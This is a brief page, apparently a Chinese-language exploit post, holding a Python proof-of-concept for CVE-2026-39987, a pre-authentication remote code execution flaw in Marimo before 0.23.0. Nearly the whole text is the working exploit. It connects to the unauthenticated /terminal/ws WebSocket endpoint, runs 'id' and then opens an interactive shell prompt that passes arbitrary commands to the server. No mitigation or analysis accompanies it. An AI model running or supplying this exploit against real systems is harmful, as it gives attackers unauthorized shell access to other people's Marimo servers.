CVE-2026-39987 Marimo 认证前远程代码执行漏洞

import asyncio import websockets # PoC for CVE-2026-39987 # Target: Marimo < 0.23.0 # The vulnerability exists in the /terminal/ws endpoint which lacks authentication. async def exploit(target_url): # Construct the WebSocket URL for the terminal endpoint ws_url = f"{target_url}/terminal/ws" try: print(f"[*] Connecting to {ws_url}...") # No authentication headers or cookies are required async with websockets.connect(ws_url) as websocket: print("[+] Connection established! Shell access granted.") print("[*] Sending commands...") # Send a simple command to verify execution (e.g., 'id' or 'ls') await websocket.send("id\n") response = await websocket.recv() print(f"[+] Command Output:\n{response}") # Keep connection open for interaction while True: cmd = input("shell> ") if cmd == "exit": break await websocket.send(cmd + "\n") output = await websocket.recv() print(output) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "ws://localhost:2718" # Default Marimo port asyncio.run(exploit(target))